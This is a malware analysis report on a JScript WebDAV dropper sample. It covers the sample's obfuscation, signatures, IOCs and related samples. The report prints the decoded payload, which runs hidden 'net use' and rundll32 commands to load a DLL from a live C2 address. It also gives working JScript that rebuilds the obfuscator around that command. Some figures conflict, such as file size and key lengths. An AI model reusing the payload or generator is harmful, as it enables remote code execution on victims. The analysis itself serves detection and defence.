unclassified-js-webdav-dropper: 77aff542 — 91st confirmed sibling, extreme variable-name padding (3,122 chars), rundll32 Entry on 94.159.113.86:8888

Executive Summary

1.5 MB JScript dropper using dictionary lookup-table obfuscation with a 3,122-character extreme variable-name padding, 62 random-noise key/value pairs, and Function('return this')() global construction to assemble a rundll32 ...,Entry execution chain against WebDAV C2 94.159.113.86:8888. Ninety-first confirmed sibling in the family. No PowerShell wrapper, no wordpad decoy, no timeout gate. Static-only (JScript, not a supported binary class).

What It Is

How It Works

Obfuscation Engine

The script uses a dictionary lookup-table obfuscation (family dialect #4, 62-entry noise-key variant) with three layers:

1. Extreme variable-name padding: A single JScript variable name of 3,122 characters (tohqskrzglqpicajunrcncsgtqsbiteinfluence...), constructed from lowercase English compound phrases concatenated without spaces. This is the sixth-longest variable name observed in the family (after dfb1eb98 at 3,787, f2316aaf at 3,451, f346e80d at 3,395, dbdb99f1 at 2,337, and f8dce7df at 2,478). ^[strings.txt:1]

2. 62-entry noise-key dictionary: The variable is initialized as an empty array (=[]), then populated by 62 semicolon-delimited assignments where each key is a random lowercase noise string (15–35 characters, no semantic content) and each value is a single ASCII character. ^[strings.txt:1]

3. Global constructor + lookup assembly: The payload is assembled via Function('return this')()[varname['key1']+varname['key2']+...] — using the constructed variable name as an object, looking up keys from the dictionary, concatenating the resulting characters, and evaluating the assembled string inside a Function constructor that returns the global object (Windows Script Host's this / WScript).

Decoded Payload

Fully decoded payload (452 characters assembled):

Function('return this')()['WScript']['CreateObject']('WScript.Shell')['run'](
  'cmd /c net use \\94.159.113.86@8888\davwwwroot\ & rundll32 \\94.159.113.86@8888\davwwwroot\1141610932572.dll,Entry',
  0, false
)

Execution chain: WScript → CreateObject('WScript.Shell') → .Run(..., 0, false) — hidden window (0), non-blocking (false).

Notable Absences

• No PowerShell wrapper (unlike fe261d49, dc76a67d, e6252c92)
• No wordpad decoy (unlike the pure-batch sub-cluster)
• No timeout anti-emulation gate (unlike e2568b43, dbdb99f1, ddf0c8bd, edfb0e0a)
• No batch/polyglot layer (unlike da58243c, 6f1d7c74, 4fdfd354, b910d575, 365235cd)
• No nested try/catch decoys (unlike cc90d6c, ccb2d007, 94686f16, 33c0bfaf, 69f29779)
• No self-replication logic

These absences place this sample in the minimal-execution sub-cluster of the family: stripped to the essential WebDAV mount + rundll32 payload fetch.

C2 Infrastructure

Interesting Tidbits

• File size: 1.19 MB — mid-range for the family; larger than minimal siblings (4cb05ef0 at 5.6 KB) but smaller than extreme-padding outliers (dfb1eb98 at 3.5 MB, dbdb99f1 at 3.0 MB). ^[file.txt]
• Variable name construction: The 3,122-char name is built from concatenated English compound phrases (e.g. tohqskrzglqpicajunrcncsgtqsbiteinfluence), not random noise. This distinguishes it from pure-random padding observed in f8dce7df (2,478 chars of random alphabet) and fe261d49 (1,794 chars of random alphabet). ^[strings.txt:1]
• Dictionary key style: Random lowercase noise strings (8–20 chars), matching the df42ecf8 / f8dce7df / fe261d49 / ff3c6d0c / dbdb99f1 / dc76a67d / e6252c92 / f2316aaf / f346e80d / f51f6323 / e2568b43 / f01dca2e / c4670e86 / d53e312c / be172014 / 771c8752 / edfb0e0a noise-key cluster.
• C2 overlap: 94.159.113.86:8888 was first observed in ff3c6d0c (69th sibling, 2024-04) and f2316aaf (87th sibling, 2025-07). This is the third confirmed sibling on .86, confirming sustained activity on this endpoint.
• Execution variant: Uses rundll32 ...,Entry (not regsvr32 /s), same as ff3c6d0c, f2316aaf, f346e80d, dbdb99f1. This execution variant is correlated with the 94.159.113.x subnet.

How To Mess With It (Homelab Replication)

This obfuscation engine can be reproduced in <50 lines of JScript:

// 1. Build a 62-char payload
var payload = "cmd /c net use \\\\94.159.113.86@8888\\DavWWWRoot\\ & rundll32 \\\\94.159.113.86@8888\\DavWWWRoot\\1141610932572.dll,Entry";

// 2. Generate 62 random noise keys, one per unique char in payload
var chars = [...new Set(payload)];
var dict = {};
for (var i = 0; i < chars.length; i++) {
    var key = Math.random().toString(36).substring(2, 10) + Math.random().toString(36).substring(2, 10);
    dict[key] = chars[i];
}

// 3. Build the obfuscated script
var varname = "a".repeat(3122);  // extreme padding
var out = varname + "=[];";
for (var k in dict) {
    out += varname + "['" + k + "']='" + dict[k] + "';";
}
out += "Function('return this')()";
for (var i = 0; i < payload.length; i++) {
    var c = payload[i];
    var k = Object.keys(dict).find(k => dict[k] === c);
    out += "['" + k + "']";
}
out += "();";

What you'll learn: How extreme variable-name padding inflates file size without changing behavior, and why Function('return this')() is the JScript equivalent of eval() with global scope.

Deployable Signatures

YARA Rule

rule WebDAV_Dropper_JS_Dictionary_ExtremeVar_77aff542 {
    meta:
        description = "JScript WebDAV dropper with dictionary lookup-table obfuscation and extreme variable-name padding"
        author = "PacketPursuit"
        reference = "77aff542f6bde5a77bfd404ca560429a9474371fd2ad6cb619896b0a403cb0f1"
        date = "2026-07-22"
    strings:
        $a = "Function('return this')" nocase
        $b = /\w{100,}\[\'\w{8,30}\'\]\=\'\.\'/  // extreme var + dict assignment
        $c = "davwwwroot" nocase
        $d = "rundll32" nocase
        $e = "WScript.Shell" nocase
    condition:
        filesize > 100KB and filesize < 2MB and
        #a >= 1 and #b >= 50 and
        3 of ($c, $d, $e)
}

IOCs

Behavioral Fingerprint

This JScript dropper builds a 62-entry character dictionary where keys are random lowercase noise strings and values are single ASCII characters. A 3,122-character extreme variable name is initialized as an empty array, populated via semicolon-delimited assignments, then used as an object in a Function('return this')()[varname['key1']+...] chain to assemble and execute a cmd /c net use + rundll32 payload against a remote WebDAV share (\\host@8888\DavWWWRoot\). No PowerShell wrapper, no decoy, no timeout gate. File size ~1.2 MB due to padding. The rundll32 ...,Entry execution variant correlates with the 94.159.113.x C2 subnet.

Detection Signatures

References

• unclassified-js-webdav-dropper — Family entity page (91 confirmed siblings)
• js-dictionary-char-lookup-obfuscation — Technique page for dictionary lookup dialect
• webdav-regsvr32-dll-sideloading — Technique page for WebDAV + system binary proxy execution
• ff3c6d0ccbf3e9d7a37bf9d86041d144ef51bee138226f3f11d65fbeb81db88d — First sibling on 94.159.113.86:8888 (69th sibling, rundll32 ...,Entry) ^[/intel/analyses/ff3c6d0ccbf3e9d7a37bf9d86041d144ef51bee138226f3f11d65fbeb81db88d.html]
• f2316aaf552b9926fa8c3398e3d15a3a770e320033d03e9546ff9d9cb29aaf9f — Second sibling on 94.159.113.86:8888 (87th sibling, 3,451-char variable name) ^[/intel/analyses/f2316aaf552b9926fa8c3398e3d15a3a770e320033d03e9546ff9d9cb29aaf9f.html]
• f346e80d14c241f4d015911188f474a9ce8f8aad603413b36107c281899fbc39 — Third sibling on 94.159.113.86:8888 (88th sibling, 3,395-char variable name) ^[/intel/analyses/f346e80d14c241f4d015911188f474a9ce8f8aad603413b36107c281899fbc39.html]

Provenance

Analysis derived from static file inspection (file, strings) and manual JScript deobfuscation. No dynamic execution performed. Capa skipped — not a supported binary format. FLOSS skipped — JScript source is plaintext. Binwalk produced no embedded artefacts. Tool versions: file 5.41, python 3.11.